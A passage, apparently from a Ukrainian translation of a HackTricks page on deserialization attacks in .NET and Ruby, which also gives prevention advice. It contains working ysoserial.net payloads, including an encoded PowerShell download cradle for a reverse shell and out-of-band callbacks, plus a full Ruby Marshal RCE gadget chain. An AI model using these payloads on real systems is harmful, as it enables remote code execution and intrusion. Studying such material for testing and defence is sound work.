ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net також має дуже цікавий параметр, який допомагає краще зрозуміти, як працює кожна експлойтація: --test Якщо ви вказуєте цей параметр, ysoserial.net спробує експлойт локально, щоб ви могли перевірити, чи працюватиме ваше завантаження правильно. Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете уривки коду, подібні до наступного (з ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Це означає, що для тестування вразливості код буде викликати serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

У попередньому коді є вразливість для створеного експлойту. Так що, якщо ви знаходите щось схоже в додатку .Net, це означає, що, ймовірно, цей додаток також є вразливим. Отже, параметр --test дозволяє нам зрозуміти, які частини коду вразливі до експлойту десеріалізації, який може створити ysoserial.net.

ViewState

Подивіться цей POST про спробу експлойтувати параметр __ViewState в .Net для виконання довільного коду. Якщо ви вже знаєте секрети, використані на комп'ютері жертви, прочитайте цей пост, щоб дізнатися, як виконати код.

Запобігання

Для зменшення ризиків, пов'язаних з десеріалізацією в .Net:

  • Уникайте дозволу потоків даних визначати типи своїх об'єктів. Використовуйте DataContractSerializer або XmlSerializer, коли це можливо.

  • Для JSON.Net, встановіть TypeNameHandling на None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Уникайте використання JavaScriptSerializer з JavaScriptTypeResolver.

  • Обмежте типи, які можуть бути десеріалізовані, розуміючи вбудовані ризики з типами .Net, такими як System.IO.FileInfo, які можуть змінювати властивості файлів сервера, що потенційно може призвести до атак на відмову в обслуговуванні.

  • Будьте обережні з типами, які мають ризиковані властивості, наприклад System.ComponentModel.DataAnnotations.ValidationException з його властивістю Value, яку можна експлуатувати.

  • Безпечно контролюйте створення типів, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть DataContractSerializer або XmlSerializer вразливими.

  • Реалізуйте контролі білого списку, використовуючи власний SerializationBinder для BinaryFormatter та JSON.Net.

  • Будьте в курсі про відомі небезпечні гаджети десеріалізації в .Net та переконайтеся, що десеріалізатори не створюють такі типи.

  • Ізолюйте потенційно ризиковий код від коду з доступом до Інтернету, щоб уникнути викладання відомих гаджетів, таких як System.Windows.Data.ObjectDataProvider в додатках WPF, до ненадійних джерел даних.

Посилання

Ruby

У Ruby серіалізація спрощена двома методами в бібліотеці marshal. Перший метод, відомий як dump, використовується для перетворення об'єкта в байтовий потік. Цей процес називається серіалізацією. Навпаки, другий метод, load, використовується для повернення байтового потоку у об'єкт, процес відомий як десеріалізація.

Для захисту серіалізованих об'єктів Ruby використовує HMAC (код аутентифікації повідомлення на основі хеш-функції), забезпечуючи цілісність та автентичність даних. Ключ, що використовується для цієї мети, зберігається в одному з кількох можливих місць:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Загальний ланцюжок гаджетів Ruby 2.X для десеріалізації в RCE (докладніше в https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Інший ланцюжок RCE для експлуатації Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated